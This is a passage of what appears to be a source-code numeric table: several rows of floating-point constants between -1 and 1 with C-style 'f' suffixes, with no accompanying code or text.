0.206143083045583f, 0.405575258734775f, 0.591273066531951f, -0.286358679634110f, 0.168522523380964f, -0.0740663582251186f, 0.991796969736415f, 0.00304472789286958f, 0.0955103281360055f, 0.595292305224677f, -0.633460800851610f, 0.969720344590438f, -0.788939516987962f, -0.690852963213444f, -0.751849610482179f, -0.454105756229298f, 0.527652178438853f, -0.249156091787771f, -0.395486634371019f, -0.586329259469701f, 0.774216673365643f, 0.000796185912973479f, 0.753872935709907f, 0.691883261316931f, -0.599798140130743f, 0.140718954973018f, 0.400016581571111f, -0.412934563119652f, 0.782683275869451f, -0.837415681080234f, 0.503344297140354f, 0.443222186121185f, -0.869067764953740f, 0.891507832007671f, -0.258782538717313f, -0.592111951047753f, 0.542828422857983f, -0.959476625230936f, -0.373353196174649f, 0.558975637763876f, 0.848608638566440f, -0.861701716955403f, -0.937645215971517f, 0.0456695238513540f, -0.643462752057364f, -0.194887894642735f, 0.576940690214110f, -0.889414400002951f, -0.120401270393403f, 0.581976128201341f, -0.914549817300516f, 0.619675229253819f, -0.446355411157033f, -0.686510097388917f, 0.199022704414501f, 0.0679083509214176f, 0.939286059873160f, 0.919854436895475f, -0.921420499961796f, -0.933865152326639f, -0.173428453947994f, 0.0481843697148709f, 0.282408667923603f, 0.411093542307595f, 0.332739798472214f, -0.539048264159821f, -0.704491312083244f, -0.502163632960363f, 0.955228344617550f, 0.620064399129425f, -0.470222569036376f, 0.754614931250763f, -0.616308595262807f, -0.914574682979899f, 0.624066330640082f, 0.836911269770582f, 0.913639510454430f, 0.653228461676548f, -0.269928008555249f, 0.313006679186127f, 0.984676487220296f, -0.492012769698267f, 0.956868299674771f, 0.291679581317590f, 0.0391808383867289f, 0.572884371819903f, 0.0424011452585180f, 0.955486550514640f, -0.402317209279260f, -0.606465037288902f, 0.547296561663929f, -0.262634118959448f, -0.555413611714328f, -0.328781770154915f, 0.145794994289916f, 0.141260540582646f, -0.451655981927315f, 0.305553535897825f, 0.828724940454557f, 0.263943455052409f, -0.609183422737396f, 0.691170220321907f, -0.372701931956834f, 0.750237424665146f, -0.249353280856890f, 0.379870697565802f, 0.385751069018950f, -0.515117494253264f, 0.716937491491901f, 0.343749563024118f, -0.462962268225808f, -0.542579750084113f, 0.865163879545508f, 0.348358741505572f, -0.309602240547849f, -0.0504864877295679f, -0.822856269672862f, 0.199343960697129f, -0.790668167630170f, -0.0910655952543342f, -0.0243531696455832f, 0.832501734319368f, 0.604933598167068f, 0.899053047900036f, 0.270668041381131f, 0.523691409964688f, -0.0841567002292820f, -0.844392287920523f, -0.910987838261586f, -0.470654231510287f, -0.103828495683496f, 0.253788695977573f, -0.103172947809401f, -0.339896741661867f, -0.447251997825083f, 0.217200476817515f, -0.474840886373359f, 0.227876267254650f, -0.851351819181938f, -0.902078585170911f, 0.445464427415683f, -0.842484493463611f, -0.141606736723087f, 0.104224619207891f, -0.554900879859470f, 0.818556374444811f, -0.832710463532413f, -0.284760316465868f, 0.697962734672817f, 0.235137001970259f, 0.538298155374871f, -0.598477541924834f, -0.833959821954974f, -0.164556670763502f, -0.443902305525605f, 0.484290717235912f, 0.319356252041167f, 0.0834544406255109f, -0.839174383593280f, -0.514784811627172f, 0.466424623987191f, 0.597641402168886f, -0.344706573843316f, 0.346954604803744f, 0.150560726232471f, -0.963838773301094f, -0.210406119881130f, 0.740751216241446f, -0.519896828058978f, 0.882277568799242f, 0.982734995306564f, -0.691486807580351f, -0.120653164608028f, 0.263039860106709f, -0.472131671311566f, -0.469155525952548f, -0.562705921604020f, -0.737502946123759f, 0.151863404645485,
-0.367233093688652f, 0.149585386378220f, -0.152980596399920f, 0.572826412281344f, -0.498718037086228f, -0.0794332639424211f, 0.659760386972575f, -0.574814983564964f, 0.451329484188896f, 0.473066930128670f, -0.135151886005125f, 0.379571405476121f, -0.308712078323501f, -0.136843563834117f, 0.395667583713552f, 0.196238140324408f, 0.588147058383512f, 0.770505301611929f, -0.865188840370228f, 0.266437694165002f, -0.428134513764013f, 0.661967260527446f, -0.752421375452379f, -0.556389852423621f, 0.424944298468302f, -0.480554454112605f, 0.916159659428765f, -0.112147362457396f, 0.363475545209813f, 0.698805683596358f, -0.862382341730295f, -0.489415523853276f, 0.453056404353730f, -0.606183761884457f, -0.00869682692408680f, -0.288739722701460f, 0.487988005841341f, 0.566870040344668f, 0.0894575138005909f, 0.887832293799319f, -0.0981274237649674f, -0.279935090781560f, 0.506891141525948f, 0.952901245338457f, 0.458002767525373f, -0.569410776125351f, 0.849518291873527f, -0.585020953514368f, 0.676037258640625f, 0.299076264841081f, 0.911385441491479f, -0.954959555659035f, -0.681285607891366f, 0.631368118385947f, 0.522268523899537f, 0.900701101674748f, -0.647701850365577f, 0.567960815808216f, -0.138958982219446f, 0.267024801687456f, -0.975771109955874f, 0.314682157086949f, -0.378801381286130f, 0.665990927256163f, -0.573674360032848f, -0.860450785684384f, 0.516581474078532f, -0.190844183471714f, -0.451971355445856f, -0.808113003973650f, 0.860446168028895f, 0.377778958059242f, 0.126949039950121f, -0.892203650250330f, 0.572503460980517f, 0.975224974978800f, -0.202312370945465f, 0.500665599343084f, -0.0510413720986291f, 0.353231752436633f, -0.805555931906752f, -0.199761377956955f, -0.829487282239605f, 0.0282459088867508f, 0.814545057118991f, 0.557652277921578f, 0.613951716518862f, -0.678811366342345f, 0.896500288318877f, -0.627622562398925f, 0.802545092571611f, 0.211382709497062f, -0.979380222642662f, 0.826784411456488f, -0.670689878657734f, 0.788878029765924f, 0.137070906151783f, 0.901907287859132f, -0.526217367070263f, -0.545043827128876f, 0.494756249972086f, 0.236657948774128f, 0.156603327087660f, 0.516397244064118f, -0.325837179590292f, 0.460683385171580f, -0.196022953760504f, -0.441996357332195f, -0.808932369852494f, 0.291980108741838f, -0.833583979826152f, 0.365574438479475f, -0.797139524158001f, -0.0649288183732912f, -0.000696491493834994f, 0.100125393693922f, 0.598035350719377f, -0.312548404453564f, 0.0414605409182345f, -0.675913083156432f, 0.236245026389435f, 0.550464243484224f, 0.193366907856750f, -0.903654015709839f, -0.00993172527377806f, 0.0180900754210873f, 0.880678290110106f, 0.166539520562349f, -0.984509466189118f, 0.810283124477894f, -0.925371921448173f, 0.193528916069728f, -0.748644561903135f, 0.534508666819454f, 0.364436869280188f, -0.386979667637943f, 0.427958998441480f, 0.362750270039032f, 0.420886957715891f, 0.0300301961707390f, -0.655220626875711f, 0.0504522662127427f, 0.472640818703213f, -0.417745816013639f, 0.0689992794158720f, 0.461232479061866f, -0.483517586427718f, -0.411463769964024f, 0.622740736364726f, 0.659687134578680f, 0.243900134982579f, -0.684356227282321f, -0.688699031115733f, -0.316032121634021f, -0.644296362948831f, -0.236133265458216f, 0.880259454885881f, -0.956880609581177f, 0.737775899964131f, -0.529059297472703f, 0.794119601436042f, -0.375698158660466f, 0.493447663117292f, -0.752511119115434f, -0.941143365329844f, 0.610101048864035f, 0.253791011658991f, -0.369994602049336f, -0.697364270085742f, -0.681360550250048f, -0.571943442128960f, -0.749697324128684f, 0.611997629275096f, 0.892727938106141f, -0.440225399106758f, 0.00196047981855352f, 0.951252158369648f, 0.0351885308766962f, -0.471806546113710f, -0.657231535594911f, -0.0873481442406481f, -0.0341288006282565f, 0.579184398564974f, -0.224334624306026f, -0.298557652719061f, -0.509401519638379f, 0.188853505083675f, -0.321619146497229f, -0.613159956450671f, 0.570042044631281f, 0.699213203307007f, 0.537439231469861f, 0.529440733283839f, -0.744527226912905f, 0.362949055807175f, 0.529758698714545f, -0.114804719889245f, 0.991089489396930f, -0.186716454683287f, -0.218189173574106f, -0.0493780858124198f, -0.928812411399224f, -0.101855573638590f, 0.454268528366586f, 0.617591620012079f, -0.197519518988231f, 0.0973277590468935f, -0.185672509894105f, 0.649922648337967f, -0.896862900376972f, 0.594999589349510f, -0.746978997769556f, 0.590642952628647f, 0.935109901616311f, -0.293310684054096f, 0.783281817912060f, -0.189898897214222f, 0.414859016240278f, -0.0858574647662298f, 0.0810260863380805f, -0.633024441577653f, 0.248442861097829f, 0.984586601784679f, 0.982811638387854f, 0.547456083836220f, 0.476239638753291f, -0.897709902882279f, -0.208045489357872f, -0.860637131636973f, -0.496740558564284f, -0.944185351410090f, 0.157610983944341f, 0.975214099838643f, 0.550265718083095f, -0.630360326400067f, 0.672420341653334f, -0.897139264107564f, -0.670556423663785f, 0.298764071000339f, -0.310465384759529f, -0.978153640586955f, 0.189785151994709f, 0.929291975296760f, 0.758271912876084f, 0.806829662560108f, -0.472787451147715f, -0.802032434276146f, 0.455809631085663f, 0.985520713417984f, 0.739637167649794f, 0.311705106454777f, -0.120539152808323f, 0.977785717545631f, -0.848554870988208f, -0.281179241544089f, 0.931102239520177f, -0.255243432382956f, -0.284952242030900f, -0.189341152192864f, 0.647573166562597f, -0.474203015584843f, -0.545915610099538f, 0.672696420688916f, -0.239274489717776f, 0.956544960216021f, -0.0858024073600807f, -0.758223415922611f, -0.00817763648068581f, -0.500893489164054f, -0.669386983409311f, -0.344450617815217f, -0.728051392792875f, 0.804121117816188f, 0.00718436691280910f, 0.195237363230272f, -0.472485206728796f, 0.642070241911164f, -0.272384993247314f, -0.731715323915071f, -0.791266589031733f, 0.0339783427570857f, 0.0696513783219659f, -0.894169486972683f, 0.00234016305501483f, -0.0403382685361653f, -0.943600572111266f, -0.788181603936192f, 0.851406365407377f, -0.100015982664501f, 0.145502229793638f, -0.528736628076536f, -0.0313760382570432f, -0.662221611141088f, -0.885722031379862f, -0.744257140212482f, 0.524976313116033f, 0.186092035304635f, 0.181669793648209f, -0.606482674165339f, 0.849303544554227f, 0.226118051135263f, -0.690025550727719f, -0.256543384397548f, -0.207714017766381f, -0.447913202664626f, 0.375270273897879f, -0.884312586292038f, -0.0838720085819762f, 0.969898436757285f, -0.736808033249456f, 0.668875150485586f, -0.599937439969920f, 0.470077288925414f, 0.903135367105719f, -0.895619185450694f, -0.637694108244489f, 0.572669535020987f, -0.696211470281632f, -0.820577518545193f, 0.937364674938455f, 0.422458818039761f, -0.593964370461091f, -0.586264791612426f, 0.0282373486927521f, 0.298051147134121f, 0.592825359583763f, 0.716195674857467f, -0.684008410968338f, -0.167523841045924f, -0.370794208549223f, 0.768054740581884f, 0.997835641681024f, -0.366262133888883f, -0.523114034556271f, -0.457946740456489f, -0.530941146838744f, 0.298744841822404f, 0.390761228562591f, 0.0871171594445448f, 0.764002674223649f, 0.233966808661423f, -0.116573523634048f, 0.426118986433559f, -0.255934695328716f, 0.302314199650152f, -0.254971729124577f, -0.330865677738578f, -0.0840307537517577f, -0.711910586170446f, 0.622585361690409f, 0.367595248366733f, 0.422102667722561f, 0.269580206097961f, 0.707083822001774f, 0.625367208198523f, -0.729594790471199f, 0.708679674727951f, 0.00355767003560614f, 0.379158300246371f, -0.688791438249760f, 0.261637457245975f, 0.704008781391790f, -0.917586017594177f, 0.886443038824615f, -0.923559496787343f, 0.360365726214756f, 0.547058288460181f, -0.279853192856989f, -0.996331953899586f, -0.323735921605962f, -0.618788277975037f, 0.314597206161166f, 0.106380963133907f, -0.235044228453968f, 0.0406899091091886f, 0.687339428801573f, 0.344837805924860f, 0.123214914005620f, -0.735264225932133f, 0.0396243248944774f, 0.270602083588730f, -0.316104623194235f, 0.201800731173529f, -0.348987679395254f, 0.994312100135549f, -0.986073454140000f, -0.787571177818193f, 0.508460947811657f, -0.443663972776222f, 0.800303477136838f, 0.712158443474503f, 0.958364684407633f, -0.0512343510942759f, -0.391095518504938f, -0.291911155637644f, 0.721770656984705f, -0.163541232110535f, 0.0366644501980513f, 0.700853097239887f, -0.508089885354834f, -0.375072588159867f, 0.161585369564288f, 0.686325557438797f, -0.113188612544717f, 0.859354598908873f, -0.723198679696606f, 0.398879124170303f, 0.139357627051752f, 0.484780500073663f, -0.0437501438537016f, -0.868783676783105f, -0.147865612288567f, -0.116480069295514f, -0.986846049950927f, -0.859405305954576f, -0.631359938031082f, -0.0310065270390489f, -0.288382201791710f, -0.500960878568203f, -0.805633068309090f, -0.837604329816134f, 0.0325253228618525f, -0.538953832190091f, 0.913844038280417f, 0.681967460199437f, -0.656775429658090f, 0.922492558885196f, -0.689527254640680f, 0.688263898240070f, -0.225450858342925f, 0.0287239965989763f, -0.407744573364816f, -0.477326718671529f, -0.780374037627418f, 0.500400378743065f, -0.532646941279704f, 0.999679272201893f, 0.136003002234441f, -0.811267727922649f, -0.585019862511894f, 0.125465493193590f, 0.203160759437510f, -0.101322607820275f, 0.543784310894398f, 0.630139383695983f, 0.775322422120693f, 0.229262447827729f, -0.656821799421711f, 0.795940998463793f, 0.263281283116320f, -0.377237794697631f, -0.714267543277316f, -0.161924029976839f, 0.804294011825499f, -0.500488029613262f, 0.716655543045374f, -0.709565530287520f, -0.260746944768714f, -0.496886497176178f, -0.896154699339640f, -0.891352204187934f, 0.0589172685048254f, -0.952496908556348f, -0.543314015084183f, 0.0724005345282401f, -0.132089156895576f, 0.694937364018361f, -0.884509342587775f, -0.944587795707932f, 0.346949362800262f, -0.587900264454839f, 0.531217960795664f, 0.404240620498887f, 0.182769547944683f, 0.804826966991636f, 0.601398794220406f, -0.767933817870427f, -0.329693990599177f, -0.880648189418561f, 0.0370834298504716f, -0.405270662847564f, -0.551993194163015f, 0.357335885219159f, -0.442910616174561f, -0.978355051725551f, -0.638907517841606f, 0.266841057307734f, 0.778698832906031f, -0.967180516636130f, -0.772940622039654f, -0.268706136695081f, -0.326082261974967f, 0.0386785617389067f, 0.576293286973562f, 0.446884000380730f, 0.396703264915684f, -0.718633572608705f, 0.586041202195072f, -0.791039546767268f, 0.556638124682382,
0.728711593864679f, -0.576551104247230f, 0.690227524206044f, 0.0451432373341216f, -0.0569690667958747f, 0.877674150343795f, -0.268602876493051f, -0.770720641807978f, 0.630269600593677f, 0.801702094819180f, 0.177071915997341f, -0.0764831522886398f, -0.476930347674815f, 0.0196833210809626f, -0.566188434097295f, 0.309890567123613f, -0.642682312350471f, -0.645839718540077f, -0.985031719881713f, 0.153028235575708f, -0.446724738384881f, -0.616280949001367f, -0.306418078463084f, 0.313048512921978f, 0.944732667717825f, -0.292311689238647f, 0.263616032352334f, 0.776777395064071f, -0.529182830991988f, -0.418996105801001f, 0.286960890623362f, 0.588336822287104f, 0.268219370126612f, -0.696727535489037f, 0.806089151192541f, 0.0396168299208206f, -0.613570658239778f, 0.358002315998429f, -0.0576147175733950f, -0.859664908314368f, 0.930793190364908f, -0.108955403960031f, 0.640347446939098f, 0.0301817512477458f, 0.508435547839785f, -0.774928250619894f, 0.254548271045827f, -0.192551571812315f, -0.401867317012389f, -0.136220787532581f, -0.480363308055205f, 0.146599399729624f, 0.225767301672040f, -0.207158678688912f, 0.763491487133281f, 0.161192803873192f, -0.574968151683314f, -0.454043408746924f, 0.427131132989065f, 0.170648543751820f, 0.0690597676805780f, 0.0360172652133248f, -0.244429817416531f, -0.973014074152018f, -0.172642279134011f, -0.798684796670922f, -0.622626145444778f, -0.743408670602069f, -0.316057396003030f, 0.908608689971065f, 0.948356574904685f, 0.573858539226522f, 0.457065605245418f, -0.246203048690671f, -0.750525340546383f, 0.612971646035183f, 0.951528788403619f, -0.529776510809815f, 0.0886901849846271f, -0.0254136796699882f, 0.978897595553096f, 0.293893753097695f, 0.620217642132267f, 0.862352989549627f, -0.379040515436326f, 0.790157871471479f, 0.147151952442201f, 0.688271487774812f, -0.897847532497188f, -0.0355337105008888f, -0.850253422176695f, -0.0354384862653523f, -0.625796807949394f, 0.851730076897135f, 0.294773618291289f, 0.834287219330433f, 0.0758749738551283f, 0.912613321307355f, -0.326698079590551f, -0.844748577890143f, -0.685263599922107f, -0.197029963909655f, 0.591416614029013f, -0.130921826828109f, -0.524292687689084f, 0.356220524225632f, -0.150091552835503f, -0.935232109847821f, -0.302103008478127f, -0.998557516519010f, -0.477012685701094f, -0.882343341754284f, 0.210797034143964f, -0.963566378978947f, -0.855600913755685f, -0.790231379847513f, -0.625235937382084f, 0.106405105589857f, -0.760544427202586f, 0.0103124858505332f, -0.610157345750845f, 0.968354521575116f, 0.602472069136318f, -0.216458111191680f, 0.935180184275450f, -0.369261245032360f, -0.289325139062185f, -0.772389696964545f, -0.345513639348744f, 0.135539262008296f, -0.747409495863324f, -0.849724942811800f, -0.739393030129744f, -0.0301380087411172f, 0.373808817820448f, 0.760444548005323f, -0.365739960428504f, 0.121859476627292f, -0.719257541809299f, -0.136914676340304f, -0.178479405732130f, -0.336676444507223f, -0.795056125367297f, -0.0872862684496700f, -0.950510559362909f, -0.395266512078238f, 0.636773305385949f, -0.150667208767723f, 0.534401287220298f, -0.349371424663528f, -0.784729313810243f, -0.0510904599006878f, -0.938702345462904f, 0.616929636007953f, -0.228578318449040f, 0.239101663221907f, 0.0390879233281141f, -0.294705782740043f, -0.847928516841798f, -0.0480433695823821f, 0.487351505367245f, -0.820736333448301f, 0.128692585024021f, -0.305133215914817f, 0.344900079505924f, -0.764316168982242f, 0.717529584295197f, 0.655848670831377f, 0.479849611138232f, -0.107624564628078f, -0.345816374073252f, 0.0822414215758816f, -0.0120870567528208f, 0.475870901669481f, -0.00594923432583361f, 0.869227669945672f, -0.262862047504512f, 0.272430399676396f, -0.734262318791166f, 0.980593493214018f, 0.110413869658192f, -0.732486564250777f, 0.470756873196238f, 0.897133387901917f, -0.151953973158384f, -0.591296220619271f, -0.113167158942796f, -0.103020520738423f, 0.220384226627647f, -0.0570027879342681f, 0.0923157145066511f, -0.523010309215342f, 0.385053964060568f, -0.223938668105458f, -0.0566497019068211f, 0.636390081595965f, -0.753651530578004f, -0.765450358896516f, 0.790370075460245f, 0.622949415286967f, -0.0947634056426396f, 0.122381201893998f, -0.138573523511105f, -0.544298107235542f, 0.535416341314523f, -0.341107295330707f, 0.266262786345860f, 0.620108481133049f, 0.190424987800150f, 0.978559599202704f, -0.925772919482004f, -0.300038300695816f, 0.963372836978511f, -0.501235224357981f, 0.828375446308031f, -0.595716120481773f, -0.889271354193173f, -0.389843123593065f, 0.659433696092409f, -0.633476165557619f, -0.708607689555741f, -0.737738480460783f, 0.985245299432648f, 0.976853985813928f, -0.863072444190232f, -0.785830171723126f, 0.309433061520758f, 0.166813366328975f, -0.552916412621405f, 0.0385101740167735f, 0.445866961855263f, 0.222557362424800f, 0.0710515871571971f, -0.368563489700928f, 0.317406114361191f, 0.326902000037272f, 0.868261309598320f, -0.897838476369198f, 0.664364291232529f, -0.373333343843574f, -0.599809263387549f, -0.411236387818613f, -0.118186587264933f, 0.544960929851182f, 0.395925813072269f, 0.337332244255533f, -0.0195528742963547f, -0.580383437020279f, 0.0779554182143842f, -0.902635825594202f, -0.821554429188969f, 0.869996816042779f, 0.646142135585380f, -0.0824693320525758f, 0.643317857725100f, -0.903892480205129f, -0.457595546004975f, 0.540461917564665f, -0.467530238695992f, 0.107497588388074f, -0.122360487746121f, -0.276968072230331f, -0.436413500733568f, 0.0719555518906898f, -0.794937479672675f, -0.641344733876686f, -0.934734152781945f, -0.0610463967348016f, -0.302623058375597f, 0.281116298309257f, 0.557459622053789f, -0.350054779110337f, 0.681853624031498f, -0.0454067482892435f, -0.897204174835461f, 0.0289327275291300f, 0.664312739864751f, -0.368814604980581f, -0.576946854776660f, -0.187886132141311f, 0.424385580259236f, 0.257994303715228f, -0.567650112011742f, -0.0453371545575014f, -0.362909825264387f, 0.450095578912812f, -0.713870209574945f, -0.956583539581944f, -0.969891699048729f, -0.417755773448598f, -0.230738535348142f, -0.153353095644968f, 0.539368458440622f, 0.591116036659417f, 0.779095541288385f, -0.578525766017613f, -0.587777137316663f, -0.301051260910212f, -0.319655538885669f, -0.343495369437935f, 0.908167583226333f, 0.764220052027033f, 0.0536418758245909f, -0.0529753241803754f, 0.249066042857931f, -0.840152142252005f, -0.529971459254312f, -0.449462194610696f, 0.467144819001113f, -0.500103828192601f, -0.758390449663076f, 0.369740436821770f, 0.189153926151852f, -0.188283227959439f, -0.427563759945909f, -0.186773725840825f, -0.00989853573399446f, -0.783648829817413f, -0.626450875837851f, -0.328015817185970f, 0.760383401930071f, -0.00804531008117837f, -0.982799468341000f, 0.392730506677802f, 0.117799138097530f, 0.351088974844522f, -0.259750164530173f, 0.776495358243216f, -0.703059519879109f, -0.362866233240751f, -0.421345310205860f, -0.818968876330675f, 0.936887497269786f, 0.713300632813635f, 0.916608801523944f, -0.147818975792564f, 0.317064988534009f, 0.885779227314381f, -0.897706599297367f, 0.685423132064732f, 0.907830438936990f, 0.0636614655685575f, -0.423018627861747f, 0.411565657893159f, 0.911060408474647f, -0.617833142759668f, -0.709543522964145f, -0.817633731247023f, -0.252433983274424f, 0.160456393103956f, -0.160765428576997f, -0.622001061437904f, -0.470257555319641f, 0.790643274059634f, -0.648181378655916f, -0.828694900506363f, -0.0234091767546987f, -0.562865077760768f, 0.369299949506391f, -0.423850142805423f, 0.520699811923658f, -0.877662359466779f, -0.739844704434180f, 0.300520939787139f, 0.0655718600121620f, 0.970843358712180f, -0.634231195336845f, 0.324880041395596f, -0.479089635857354f, -0.196422753715449f, 0.568762754402869f, 0.699215376070842f, 0.445741923102597f, 0.679868900756090f, 0.107609859752086f, -0.980983474461865f, -0.788419140653730f, 0.0696289436185713f, 0.00330944186568516f, 0.392265626672398f, 0.803469542460994f, 0.131029913648810f, -0.845408454497170f, -0.754797811352229f, -0.824208086798235f, 0.510072775586974f, -0.809491727769575f, -0.0228491196350333f, 0.920014947791232f, 0.441066319826495f, 0.969846842038360f, -0.199024726691046f, 0.886564290041856f, 0.203997575245743f, 0.481547443573126f, -0.637742489331117f, 0.0664642070998316f, 0.109187062068770f, -0.952676759642045f, 0.309247049771982f, 0.880534651306060f, -0.269363005485603f, 0.280012695899358f, 0.853031642671923f, -0.216236966392235f, 0.903180305900435f, 0.837949615815047f, 0.748563816043584f, 0.266735542018788f, -0.685176037557414f, 0.505893787666761f, 0.977721983069541f, -0.667151469253569f, -0.451774081267849f, -0.385755850727233f, 0.681037251596535f, 0.550130384863457f, 0.704080312734731f, 0.519624533199220f, 0.789651392050294f, 0.176325856625025f, 0.684011432098839f, -0.469125761119035f, -0.841814129063957f, -0.901473334652527f, -0.117747872709914f, -0.608533033968273f, 0.199709646080986f, -0.349430401438670f, -0.435162733168206f, -0.368150014673779f, 0.699084004342174f, -0.446068942643995f, 0.197420740774886f, 0.524893584115327f, 0.706475758890142f, 0.912020785879679f, -0.820472223153770f, -0.334742316079635f, -0.851724976994477f, -0.702164662784812f, -0.649654462810552f, 0.411435475616403f, -0.0438368033650360f, 0.799231452421757f, 0.713371883779316f, 0.252437083518609f, -0.685658163265283f, 0.0734649179831324f, -0.400549431226783f, -0.415602545578540f, 0.233864615718965f, 0.828846528739923f, 0.606577491175688f, -0.266016048272811f, -0.619106744484090f, -0.690853262778644f, -0.503499724631377f, -0.409761822901473f, 0.0576293548519007f, 0.551582021066584f, 0.132631452787255f, -0.838228405334512f, -0.107475742619267f, -0.875306852866273f, -0.184700469068763f, -0.317074087896838f, -0.580912620700556f, 0.453916157844897f, 0.690470988649940f, 0.712835197480083f, 0.314786689622726f, 0.759835688452120f, -0.671090442836235f, -0.408277610289776f, -0.815988422173708f, 0.227854929660384f, -0.0482646895577266f, 0.968141192561708f, 0.373896367655818f, 0.820435826598941f, 0.817746838197885f, -0.0970819110331989f, 0.679170154451559f, -0.577986561676471f, -0.0523570914231941f, -0.776930151133931f, -0.560456597170701f, 0.927747720961181f, 0.0350177837302503f, 0.844938034137843f, 0.00849044473190053f, 0.325089161670337f, -0.851825175889265f, 0.835251667623832f, -0.266397917890485f, 0.108463887056499f, -0.817868888235156f, 0.590399913800720f, 0.699274619715208,
0.200782223352391f, -0.936155874445214f, 0.218471971175575f, -0.890402779861849f, 0.268496441855317f, 0.881231954583528f, 0.279360358017994f, -0.492400368838405f, -0.894376670076375f, 0.585129064098519f, 0.340135248071744f, 0.455880107692993f, -0.861081993524584f, -0.303321115935151f, -0.562781799622214f, -0.526041750296426f, 0.999581943964160f, 0.249814139040315f, -0.0537475603822974f, -0.845239239849439f, -0.874024176808607f, 0.997751771128387f, -0.861617607547820f, 0.671357923629889f, -0.687974310115279f, -0.969462039056016f, -0.448304961870341f, 0.713064428261850f, -0.00718668165564318f, -0.450608596544700f, -0.106059234376561f, -0.591961308554238f, 0.588633089685867f, -0.755341317752403f, -0.542715401462936f, 0.759199260356047f, 0.0297710796506234f, -0.997343196630657f, 0.574076752994254f, -0.696719940193256f, -0.852227517176613f, 0.906332566627663f, -0.171801252847090f, -0.925131151948528f, -0.0212194634560026f, -0.940316444070044f, 0.262965279952363f, 0.902198615594563f, -0.265057066430189f, 0.161983092277652f, 0.0181345459457500f, 0.467973650469608f, 0.857351800575040f, -0.889882538061811f, 0.728868283859490f, 0.671187732362764f, -0.296882575397444f, -0.793099233276668f, 0.335561922676737f, 0.0671874495572633f, -0.0857142329385701f, -0.352870876674233f, -0.119927139078065f, 0.814127111105761f, -0.323910302649634f, -0.313495077982818f, 0.0690526899468447f, 0.877155536890319f, 0.768040884649443f, 0.158910636324140f, -0.824414709871474f, 0.00718921022841235f, -0.868917281154898f, -0.564967532196669f, 0.206261416621150f, -0.0699574404456100f, -0.0547095858591442f, 0.811674902353136f, -0.562993920383635f, 0.441212008804309f, 0.917951119557396f, 0.915571961092301f, 0.0901952529553498f, 0.614118141118295f, 0.760473529905706f, -0.566505475760865f, 0.00880029006400429f, 0.975626259597421f, 0.370738159620831f, -0.0242162976348563f, 0.828887690189252f, -0.665240810020082f, 0.00123256686221063f, 0.184020074202841f, 0.829917510366750f, -0.447854906466885f, 0.529356328938248f, -0.995192699858126f, -0.843748622724646f, -0.422765372440245f, -0.386179414096638f, 0.206325400140261f, -0.369817591904938f, 0.266933785902425f, 0.892617584642659f, 0.740018647415220f, -0.481907279471296f, 0.248268418729551f, -0.382770749117505f, 0.974424303757207f, -0.879320252286332f, -0.0294961755317245f, 0.638693329623790f, -0.765127178629299f, -0.160881380476610f, -0.725001019123526f, 0.00294709357263234f, -0.701949969294570f, -0.708933381768328f, -0.463893635537772f, 0.476650147791524f, -0.206043208566879f, 0.223011684523516f, -0.258637160422673f, 0.206325908651728f, -0.432336904344548f, 0.921979975841259f, -0.944396630315761f, -0.00680582426415510f, 0.319263487872783f, -0.836389324192867f, 0.111532890274445f, -0.938142383682239f, -0.637288670131655f, -0.834211558255576f, 0.251969378874330f, -0.970874587083192f, 0.831662411079802f, -0.446568187924869f, -0.659109068071113f, -0.877869176622375f, -0.890670252448197f, 0.477602927742628f, 0.324737705007923f, -0.147513413112549f, -0.186594638422632f, -0.282864808082840f, 0.745093922271927f, 0.915500859154332f, 0.0421588655873384f, -0.483320910754088f, 0.00503734690385604f, 0.555792895688253f, 0.129412601050279f, -0.229347983583150f, -0.680101211823600f, -0.866063899229274f, 0.437769924839021f, 0.133958234316391f, 0.589233411145099f, -0.498053917701437f, 0.180863681584405f, 0.525955777469479f, -0.581250985307273f, -0.327934857804250f, 0.482381204171926f, -0.867703472610278f, 0.833733008515087f, -0.607761820334944f, -0.758512235503178f, 0.0380785706067470f, 0.719862150842292f, 0.651283470517919f, -0.614218162858801f, -0.239754124815405f, -0.733992057859951f, -0.422541764223845f, 0.951215428883086f, 0.882569470276544f, 0.937054481646402f, 0.184532408731968f, -0.104097666585483f, 0.693277433170057f, 0.800241936558839f, -0.998230532922071f, 0.259835639125661f, 0.562745639592536f, 0.220441127510705f, 0.313735993201991f, 0.330940415696351f, -0.602872424656300f, 0.841677792852844f, 0.749701489563795f, 0.266727039860087f, 0.696379094133993f, -0.430719144952456f, -0.276768289732264f, -0.0872580230244173f, -0.722033206227688f, -0.837309584159114f, -0.629739366225350f, -0.185692585028452f, -0.110619837317415f, 0.515881116042359f, -0.105875685978079f, -0.513700186568578f, 0.961245417898430f, 0.655513716233953f, -0.0921704793645632f, -0.694925472850399f, -0.872174817305748f, 0.0307133806779607f, 0.531120672076921f, 0.965271277398122f, -0.00974420246777163f, -0.497322783064087f, 0.693565685926388f, 0.546918707342947f, -0.230039497490898f, -0.316024461029338f, 0.684231559582941f, -0.306362794944468f, 0.861366189035942f, 0.378922635334764f, 0.259443877770437f, -0.838617128408830f, -0.205350631644011f, -0.139772960377519f, -0.192918167939180f, 0.602404904043886f, -0.537407583974730f, -0.877007125624351f, 0.361539942609439f, -0.732030207831016f, -0.488792995226420f, 0.612591017966442f, 0.567185560938756f, 0.195543595335781f, -0.428955670554558f, -0.666590144318038f, -0.702467396810860f, -0.894350832807439f, -0.0620405855731709f, -0.583114546325259f, -0.482155957064968f, 0.212152442925647f, 0.112603107288251f, 0.0683986906619714f, 0.639176340917929f, 0.642610005510521f, -0.708605273163374f, 0.739594669131005f, -0.492786220480274f, -0.308196102291547f, 0.918748221553053f, 0.186736140989674f, 0.438437026242591f, 0.638769573344929f, 0.928896220524135f, 0.579945520523175f, 0.218608554904045f, -0.526070140579576f, -0.140303420071590f, 0.304347769360423f, 0.488123173638490f, 0.987207018313181f, -0.536397951752998f, -0.553296120219359f, 0.184294880372153f, -0.101502970339396f, 0.287041514309517f, 0.658172721877726f, -0.270141883431914f, -0.0196021946303913f, 0.000779126872975988f, -0.0500294515684538f, -0.588505226599557f, 0.550916571982769f, 0.703271386531766f, 0.982335628009701f, 0.942133544852489f, 0.690741953320684f, 0.0466423349204477f, -0.941178278727504f, 0.121655023640973f, 0.777925151322362f, 0.132430336075323f, -0.114812120408198f, -0.694094073965245f, -0.441397675924967f, -0.187253074701348f, -0.672248118097589f, -0.688869123609503f, -0.0723581859661586f, 0.553779536791160f, 0.380610143087564f, -0.392032089052147f, -0.709403552653908f, -0.607184251637473f, 0.698227587629545f, -0.272885954851784f, 0.0736609147840435f, 0.687106303730018f, -0.230362931709251f, 0.393640839382244f, -0.846905732907407f, 